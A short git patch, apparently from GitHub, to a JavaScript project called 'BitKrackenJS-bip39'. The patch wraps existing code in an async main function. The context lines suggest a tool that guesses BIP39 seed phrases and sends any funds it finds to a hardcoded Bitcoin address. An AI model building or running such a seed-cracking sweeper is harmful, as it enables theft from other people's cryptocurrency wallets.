From 65c7c67e650a44527ef448269f6a971211f39d0c Mon Sep 17 00:00:00 2001 From: Sam Sneed <163201376+sam-sneed@users.noreply.github.com> Date: Thu, 18 Jul 2024 19:03:13 +0000 Subject: [PATCH] Update index.js --- BitKrackenJS-bip39.git/index.js | 3 +++ 1 file changed, 3 insertions(+) diff --git a/BitKrackenJS-bip39.git/index.js b/BitKrackenJS-bip39.git/index.js index 3bb4ef0ac..c2216b757 100644 --- a/BitKrackenJS-bip39.git/index.js +++ b/BitKrackenJS-bip39.git/index.js @@ -2,6 +2,7 @@ var CoinKey = require('coinkey') //1.0.0 var bip39 = require('bip39') var hdkey = require('hdkey') var bitcoinTransaction = require('bitcoin-transaction'); +async function main() { var to = "1ShzJ7McjMYaboVFokny1LGMFLT7Y6qDj"; //change me to who you want the bitcoin to go to var mnemonic; var seed; @@ -75,3 +76,5 @@ if (bip39.validateMnemonic(mnemonic)) { await new Promise(r => setTimeout(r, 13)); } +} +main()